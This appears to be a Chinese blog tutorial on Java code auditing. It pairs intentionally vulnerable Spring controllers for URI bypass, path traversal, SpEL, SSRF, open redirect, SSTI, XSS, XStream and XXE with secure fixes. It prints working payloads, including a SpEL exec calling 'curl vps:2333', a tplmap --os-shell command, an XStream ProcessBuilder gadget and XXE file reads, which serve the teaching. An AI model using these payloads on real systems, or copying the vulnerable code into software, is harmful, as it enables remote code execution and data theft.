Java-Sec代码审计漏洞篇(二)

前言

本文继承上一篇开始通过学习Java代码审计漏洞的代码形式,详细讲解:GetRequestURI、PathTraversal、SpEL、SSRF、URLRedirect、SSTI、XSS、XStreamRCE以及XXE等这些实际Java应用挖洞的一些经典代码漏洞以及对应的修复学习,后续也会不断学习更新Java代码漏洞审计续篇...

GetRequestURI

当应用存在静态资源目录,比如/css/目录,在权限校验时一般会选择放行,即不校验权限。研发同学用getRequestURI()获取URI后,判断是否包含 /css/字符串,如果包含则不校验权限。此时如果URI为/css/../hello,用getRequestURI()获取的URI是/css/../hello,包含/css/字符串,所以不校验权限。但是此时后端的路由为/hello,导致权限绕过。

漏洞代码

@RestController  
@RequestMapping("uri")  
public class GetRequestURI {  

    private final Logger logger = LoggerFactory.getLogger(this.getClass());  

    @GetMapping(value = "/exclued/vuln")  
    public String exclued(HttpServletRequest request) {  

        String[] excluedPath = {"/css/**", "/js/**"};  
        String uri = request.getRequestURI(); // Security: request.getServletPath()  
        PathMatcher matcher = new AntPathMatcher();  

        logger.info("getRequestURI: " + uri);  
        logger.info("getServletPath: " + request.getServletPath());  

        for (String path : excluedPath) {  
            if (matcher.match(path, uri)) {  
                return "You have bypassed the login page.";  
            }  
        }  
        return "This is a login page >..<";  
    }  
}

如果我们这样请求即可绕过登录

/css/..;/exclued/vuln

安全的方法是使用:getServletPath()方法,该方法会自动对URL进行标准化(normalize),先对URI进行URLDecode,如果存在/../,将其返回到上一级目录,即/css/..;/exclued/vuln/处理为/exclued/vuln/,并将新的Path设置为servletPath。

PathTraversal

路径遍历攻击是指的是通过使用..\来达到穿梭目录,访问任意文件的目的

漏洞代码

@GetMapping("/path_traversal/vul")  
public String getImage(String filepath) throws IOException {  
    return getImgBase64(filepath);  
}
private String getImgBase64(String imgFile) throws IOException {  

    logger.info("Working directory: " + System.getProperty("user.dir"));  
    logger.info("File path: " + imgFile);  

    File f = new File(imgFile);  
    if (f.exists() && !f.isDirectory()) {  
        byte[] data = Files.readAllBytes(Paths.get(imgFile));  
        return new String(Base64.encodeBase64(data));  
    } else {  
        return "File doesn't exist or is not a file.";  
    }  
}

由于没有对文件名字进行校验可以目录遍历

?filepath=../../../../../../../../etc/passwd

通过url解码,然后删除恶意符号修复代码

@GetMapping("/path_traversal/sec")  
public String getImageSec(String filepath) throws IOException {  
    if (SecurityUtil.pathFilter(filepath) == null) {  
        logger.info("Illegal file path: " + filepath);  
        return "Bad boy. Illegal file path.";  
    }  
    return getImgBase64(filepath);  
}

public static String pathFilter(String filepath) {  
    String temp = filepath;  

    // use while to sovle multi urlencode  
    while (temp.indexOf('%') != -1) {  
        try {  
            temp = URLDecoder.decode(temp, "utf-8");  
        } catch (UnsupportedEncodingException e) {  
            logger.info("Unsupported encoding exception: " + filepath);  
            return null;  
        } catch (Exception e) {  
            logger.info(e.toString());  
            return null;  
        }  
    }  

    if (temp.contains("..") || temp.charAt(0) == '/') {  
        return null;  
    }  

    return filepath;  
}

SpEL

Spring Expression Language 是一种表达式语言,支持运行时查询和操作对象图,同时也有方法调用和字符串模板功能

SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}

1.类类型表达式

使用T()运算符会调用类作用域的静态属性或静态方法,SpEL内置了java.lang包下的类声明,也就是说java.lang.String可以通过T(String)访问,而不需要使用全限定名
比如:

T(Runtime).getRuntime().exec(\"open /Applications/Calculator.app\")

2.类实例化
使用new可以直接在SpEL中创建实例,需要创建实例的类要通过全限定名进行访问。
比如

new java.util.Date()

漏洞代码

@RequestMapping("/spel/vuln1")  
public String spel_vuln1(String value) {  
    ExpressionParser parser = new SpelExpressionParser();  
    return parser.parseExpression(value).getValue().toString();  
}  

public String spel_vuln2(String value) {  
    StandardEvaluationContext context = new StandardEvaluationContext();  
    SpelExpressionParser parser = new SpelExpressionParser();  
    Expression expression = parser.parseExpression(value, new TemplateParserContext());  
    Object x = expression.getValue(context);    // trigger vulnerability point  
    return x.toString();   // response  
}

public static void main(String[] args) {  
    ExpressionParser parser = new SpelExpressionParser();  
    String expression = "1+1";  
    String result = parser.parseExpression(expression).getValue().toString();  
    System.out.println(result);  
}

直接将用户的输入当作表达式内容进行解析,执行下系统命令

T(java.lang.Runtime).getRuntime().exec("curl vps:2333")

模板表达式

表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。并且要使用#{}作为分隔符。
比如

String randomPhrase = parser.parseExpression(
        "random number is #{T(java.lang.Math).random()}",
        new TemplateParserContext()).getValue(String.class);
//evaluates to "random number is 0.703101106101103120010"

原因是TemplateParserContext的定义如下所示

public class TemplateParserContext implements ParserContext {
    public String getExpressionPrefix() {
        return "#{";
    }
    public String getExpressionSuffix() {
        return "}";
    }
    public boolean isTemplate() {
        return true;
    }

}

漏洞代码

@RequestMapping("spel/vuln2")  
public String spel_vuln2(String value) {  
    StandardEvaluationContext context = new StandardEvaluationContext();  
    SpelExpressionParser parser = new SpelExpressionParser();  
    Expression expression = parser.parseExpression(value, new TemplateParserContext());  
    Object x = expression.getValue(context);    // trigger vulnerability point  
    return x.toString();   // response  
}

命令执行

#{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}

由浅入深SpEL表达式注入漏洞 - Ruilin (rui0.cn)

SSRF

Server-side Request Forge服务端请求伪造,可以从外网探测或者攻击内网服务

支持协议

file ftp mailto http https jar netdoc

Java的SSRF利用方式比较局限:

  • 利用file协议任意文件读取
  • 利用http协议探测端口或攻击内网服务

urlconnection

@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})  
public String URLConnectionVuln(String url) {  
    return HttpUtils.URLConnection(url);  
}

public static String URLConnection(String url) {  
    try {  
        URL u = new URL(url);  
        URLConnection urlConnection = u.openConnection();  
        BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request  
        // BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream()));  
        String inputLine;  
        StringBuilder html = new StringBuilder();  

        while ((inputLine = in.readLine()) != null) {  
            html.append(inputLine);  
        }  
        in.close();  
        return html.toString();  
    } catch (Exception e) {  
        logger.error(e.getMessage());  
        return e.getMessage();  
    }  
}

ssrf任意文件读

?url=file:///etc/passwd

代码修复

先检验协议是否安全

@GetMapping("/urlConnection/sec")  
public String URLConnectionSec(String url) {  

    // Decline not http/https protocol  
    if (!SecurityUtil.isHttp(url)) {  
        return "[-] SSRF check failed";  
    }  

    try {  
        SecurityUtil.startSSRFHook();  
        return HttpUtils.URLConnection(url);  
    } catch (SSRFException | IOException e) {  
        return e.getMessage();  
    } finally {  
        SecurityUtil.stopSSRFHook();  
    }  

}

public static boolean isHttp(String url) {  
    return url.startsWith("http://") || url.startsWith("https://");  
}

同时调用钩子去调用SocketHookFactory

package org.joychou.security.ssrf;  

import java.net.HttpURLConnection;  
import java.net.InetAddress;  
import java.net.URI;  
import java.net.URL;  
import java.util.ArrayList;  

import org.apache.commons.lang.StringUtils;  
import org.apache.commons.net.util.SubnetUtils;  
import org.joychou.config.WebConfig;  
import org.joychou.security.SecurityUtil;  
import org.slf4j.Logger;  
import org.slf4j.LoggerFactory;  


public class SSRFChecker {  

    private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);  

    public static boolean checkURLFckSSRF(String url) {  
        if (null == url) {  
            return false;  
        }  

        ArrayList<String> ssrfSafeDomains = WebConfig.getSsrfSafeDomains();  
        try {  
            String host = SecurityUtil.gethost(url);  

            // 必须http/https  
            if (!SecurityUtil.isHttp(url)) {  
                return false;  
            }  

            if (ssrfSafeDomains.contains(host)) {  
                return true;  
            }  
            for (String ssrfSafeDomain : ssrfSafeDomains) {  
                if (host.endsWith("." + ssrfSafeDomain)) {  
                    return true;  
                }  
            }  
        } catch (Exception e) {  
            logger.error(e.toString());  
            return false;  
        }  
        return false;  
    }  

    /**  
     * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。  
     * url只允许https或者http,并且设置默认连接超时时间。  
     * 该修复方案会主动请求重定向后的链接。  
     *  
     * @param url        check的url  
     * @param checkTimes 设置重定向检测的最大次数,建议设置为10次  
     * @return 安全返回true,危险返回false  
     */  
    public static boolean checkSSRF(String url, int checkTimes) {  

        HttpURLConnection connection;  
        int connectTime = 5 * 1000;  // 设置连接超时时间5s  
        int i = 1;  
        String finalUrl = url;  
        try {  
            do {  
                // 判断当前请求的URL是否是内网ip  
                if (isInternalIpByUrl(finalUrl)) {  
                    logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl);  
                    return false;  // 内网ip直接return,非内网ip继续判断是否有重定向  
                }  

                connection = (HttpURLConnection) new URL(finalUrl).openConnection();  
                connection.setInstanceFollowRedirects(false);  
                connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL  
                connection.setConnectTimeout(connectTime);  
                //connection.setRequestMethod("GET");  
                connection.connect(); // send dns request  
                int responseCode = connection.getResponseCode(); // 发起网络请求  
                if (responseCode >= 300 && responseCode <= 307 && responseCode != 304 && responseCode != 306) {  
                    String redirectedUrl = connection.getHeaderField("Location");  
                    if (null == redirectedUrl)  
                        break;  
                    finalUrl = redirectedUrl;  
                    i += 1;  // 重定向次数加1  
                    logger.info("redirected url: " + finalUrl);  
                    if (i == checkTimes) {  
                        return false;  
                    }  
                } else  
                    break;  
            } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);  
            connection.disconnect();  
        } catch (Exception e) {  
            return true;  // 如果异常了,认为是安全的,防止是超时导致的异常而验证不成功。  
        }  
        return true; // 默认返回true  
    }  


    /**  
     * 判断一个URL的IP是否是内网IP  
     *  
     * @return 如果是内网IP,返回true;非内网IP,返回false。  
     */  
    public static boolean isInternalIpByUrl(String url) {  

        String host = url2host(url);  
        if (host.equals("")) {  
            return true; // 异常URL当成内网IP等非法URL处理  
        }  

        String ip = host2ip(host);  
        if (ip.equals("")) {  
            return true; // 如果域名转换为IP异常,则认为是非法URL  
        }  

        return isInternalIp(ip);  
    }  


    /**  
     * 使用SubnetUtils库判断ip是否在内网网段  
     *  
     * @param strIP ip字符串  
     * @return 如果是内网ip,返回true,否则返回false。  
     */  
    static boolean isInternalIp(String strIP) {  
        if (StringUtils.isEmpty(strIP)) {  
            logger.error("[-] SSRF check failed. IP is empty. " + strIP);  
            return true;  
        }  

        ArrayList<String> blackSubnets = WebConfig.getSsrfBlockIps();  
        for (String subnet : blackSubnets) {  
            SubnetUtils utils = new SubnetUtils(subnet);  
            if (utils.getInfo().isInRange(strIP)) {  
                logger.error("[-] SSRF check failed. Internal IP: " + strIP);  
                return true;  
            }  
        }  

        return false;  

    }  

    /**  
     * host转换为IP  
     * 会将各种进制的ip转为正常ip  
     * 167772161转换为10.0.0.1  
     * 127.0.0.1.xip.io转换为127.0.0.1  
     *  
     * @param host 域名host  
     */  
    private static String host2ip(String host) {  
        try {  
            InetAddress IpAddress = InetAddress.getByName(host); //  send dns request  
            return IpAddress.getHostAddress();  
        } catch (Exception e) {  
            return "";  
        }  
    }  

    /**  
     * 从URL中获取host,限制为http/https协议。只支持http:// 和 https://,不支持//的http协议。  
     *  
     * @param url http的url  
     */  
    private static String url2host(String url) {  
        try {  
            // 使用URI,而非URL,防止被绕过。  
            URI u = new URI(url);  
            if (SecurityUtil.isHttp(url)) {  
                return u.getHost();  
            }  
            return "";  
        } catch (Exception e) {  
            return "";  
        }  
    }  

}

URLRedirect

url重定向漏洞主要用来钓鱼,重定向跳转代码:

@GetMapping("/redirect")  
public String redirect(@RequestParam("url") String url) {  
    return "redirect:" + url;  
}

payload

?url=http://www.baidu.com

301跳转

@RequestMapping("/setHeader")  
@ResponseBody  
public static void setHeader(HttpServletRequest request, HttpServletResponse response) {  
    String url = request.getParameter("url");  
    response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect  
    response.setHeader("Location", url);  
}

302跳转:

@RequestMapping("/sendRedirect")  
@ResponseBody  
public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {  
    String url = request.getParameter("url");  
    response.sendRedirect(url); // 302 redirect  
}

修复代码
只能内部跳转

@RequestMapping("/forward")  
@ResponseBody  
public static void forward(HttpServletRequest request, HttpServletResponse response) {  
    String url = request.getParameter("url");  
    RequestDispatcher rd = request.getRequestDispatcher(url);  
    try {  
        rd.forward(request, response);  
    } catch (Exception e) {  
        e.printStackTrace();  
    }  
}

通过checkURL去检查输入的参数

@RequestMapping("/sendRedirect/sec")  
    @ResponseBody  
    public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)  
            throws IOException {  
        String url = request.getParameter("url");  
        if (SecurityUtil.checkURL(url) == null) {  
            response.setStatus(HttpServletResponse.SC_FORBIDDEN);  
            response.getWriter().write("url forbidden");  
            return;  
        }  
        response.sendRedirect(url);  
    }  
}

跟进

/**  
 * 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。  
 * 优先判断黑名单,如果满足黑名单return null。  
 *  
 * @param url the url need to check  
 * @return Safe url returns original url; Illegal url returns null;  
 */  
public static String checkURL(String url) {  

    if (null == url){  
        return null;  
    }  

    ArrayList<String> safeDomains = WebConfig.getSafeDomains();  
    ArrayList<String> blockDomains = WebConfig.getBlockDomains();  

    try {  
        String host = gethost(url);  

        // 必须http/https  
        if (!isHttp(url)) {  
            return null;  
        }  

        // 如果满足黑名单返回null  
        if (blockDomains.contains(host)){  
            return null;  
        }  
        for(String blockDomain: blockDomains) {  
            if(host.endsWith("." + blockDomain)) {  
                return null;  
            }  
        }  

        // 支持多级域名  
        if (safeDomains.contains(host)){  
            return url;  
        }  

        // 支持一级域名  
        for(String safedomain: safeDomains) {  
            if(host.endsWith("." + safedomain)) {  
                return url;  
            }  
        }  
        return null;  
    } catch (NullPointerException e) {  
        logger.error(e.toString());  
        return null;  
    }  
}

检测相关url是否在自己配置中,若不在则返回NULL

SSTI

服务端模板注入,SSTI主要为python的框架jinjia2、mako tornado、django,PHP框架smarty twig,java框架 FreeMarker、jade、velocity等使用渲染函数并且代码不规范导致了漏洞,模板可控

漏洞代码

@GetMapping("/velocity")  
public void velocity(String template) {  
    Velocity.init();  

    VelocityContext context = new VelocityContext();  

    context.put("author", "Elliot A.");  
    context.put("address", "217 E Broadway");  
    context.put("phone", "555-1337");  

    StringWriter swOut = new StringWriter();  
    Velocity.evaluate(context, swOut, "test", template);

velocity ssti

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("")

或者用tplmap.py工具

python tplmap.py --os-shell -u 'http://localhost:8080/ssti/velocity?template=aa'

XSS

有两种利用场景

第一种代码如下

@RequestMapping("/reflect")  
@ResponseBody  
public static String reflect(String xss) {  
    return xss;  
}

我们访问就会触发xss

reflect?xss=%3Cscript%3Ealert(1)%3C/script%3E

将XSS语句带入cookie,然后在其他处调出造成XSS

@RequestMapping("/stored/store")  
@ResponseBody  
public String store(String xss, HttpServletResponse response) {  
    Cookie cookie = new Cookie("xss", xss);  
    response.addCookie(cookie);  
    return "Set param into cookie";  
}  

@RequestMapping("/stored/show")  
@ResponseBody  
public String show(@CookieValue("xss") String xss) {  
    return xss;  
}

修复代码

@RequestMapping("/safe")  
@ResponseBody  
public static String safe(String xss) {  
    return encode(xss);  
}  

private static String encode(String origin) {  
    origin = StringUtils.replace(origin, "&", "&");  
    origin = StringUtils.replace(origin, "<", "<");  
    origin = StringUtils.replace(origin, ">", ">");  
    origin = StringUtils.replace(origin, "\"", """);  
    origin = StringUtils.replace(origin, "'", "&#x27;");  
    origin = StringUtils.replace(origin, "/", "/");  
    return origin;  
}

XStreamRCE

XStream是一个简单的基于Java库,可以把Java对象序列化到XML

有RCE漏洞受影响版本:
Xstream affected version: 1.4.10 or <= 1.4.6
【漏洞复现】CVE-2020-26217 | XStream远程代码执行漏洞 - 303donatello - 博客园 (cnblogs.com)

还有2021cve一大堆:Xstream 反序列化远程代码执行漏洞深入分析 (seebug.org)
漏洞代码

@PostMapping("/xstream")  
    public String parseXml(HttpServletRequest request) throws Exception {  
        String xml = WebUtils.getRequestBody(request);  
        XStream xstream = new XStream(new DomDriver());  
        xstream.fromXML(xml);  
        return "xstream";  
    }  

    public static void main(String[] args) {  
        User user = new User();  
        user.setId(0);  
        user.setUsername("admin");  

        XStream xstream = new XStream(new DomDriver());  
        String xml = xstream.toXML(user); // Serialize  
        System.out.println(xml);  

        user = (User) xstream.fromXML(xml); // Deserialize  
        System.out.println(user.getId() + ": " + user.getUsername());  
    }  
}

命令执行

<sorted-set>  
  <string>foo</string>
  <dynamic-proxy> <!-- -->
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="java.lang.ProcessBuilder">
        <command>
          <string>touch</string>
          <string>/tmp/aaaaa</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

XXE

XML外部实体注入,在应用程序解析XML输入时,当允许引用外部实体时,可以构造恶意内容导致读取任意文件或SSRF、端口探测、执行系统命令

漏洞代码

@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)  
public String DocumentBuilderVuln01(HttpServletRequest request) {  
    try {  
        String body = WebUtils.getRequestBody(request);  
        logger.info(body);  
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();  
        DocumentBuilder db = dbf.newDocumentBuilder();  
        StringReader sr = new StringReader(body);  
        InputSource is = new InputSource(sr);  
        Document document = db.parse(is);  // parse xml  

        // 遍历xml节点name和value  
        StringBuilder buf = new StringBuilder();  
        NodeList rootNodeList = document.getChildNodes();  
        for (int i = 0; i < rootNodeList.getLength(); i++) {  
            Node rootNode = rootNodeList.item(i);  
            NodeList child = rootNode.getChildNodes();  
            for (int j = 0; j < child.getLength(); j++) {  
                Node node = child.item(j);  
                buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));  
            }  
        }  
        sr.close();  
        return buf.toString();  
    } catch (Exception e) {  
        logger.error(e.toString());  
        return EXCEPT;  
    }  
}

正常有回显

<?xml version="1.0" encoding="UTF-8"?>  
<book id="1">         
    <name>Good Job</name>         
    <author>ol4three</author>         
    <year>2021</year>         
    <price>100.00</price>     
</book>

直接file协议读文件

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE joychou [  
    <!ENTITY xxe SYSTEM "file:///tmp/111.txt">  
]>  
<root>&xxe;</root>

0 条评论
某人
表情
可输入 255